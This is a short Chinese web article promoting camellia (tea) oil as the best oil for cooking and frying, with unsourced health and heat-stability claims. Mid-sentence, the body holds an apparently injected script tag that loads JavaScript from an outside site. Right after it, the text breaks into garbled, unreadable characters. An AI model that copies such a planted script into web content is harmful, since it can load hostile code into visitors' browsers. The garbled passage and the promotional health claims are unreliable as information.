茶油是最适宜烹调和煎炸行业的油

日期:2011-08-31 浏览:183次

茶油是最适宜烹调和煎炸行业的油

茶油是最适宜烹调和煎炸行业的油，不仅长期食用不会使人体胆固醇指数增加，不会引起心血管病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>罩蹈撸也栌突褂幸淮筇氐闶悄透呶隆Ｆ渌参镉驮诩逯?20℃时，便会产生少量苯等有害健康的物质；而茶油在煎到220℃时，也不会有此类变化，故茶油最适于在烹饪食物时使用，炒出的菜色彩鲜艳，鲜美可口。国家一级压榨茶油的标准是在280℃的高温下 “没有析出物,不变色” ，选购茶油时务必选择一级压榨油。

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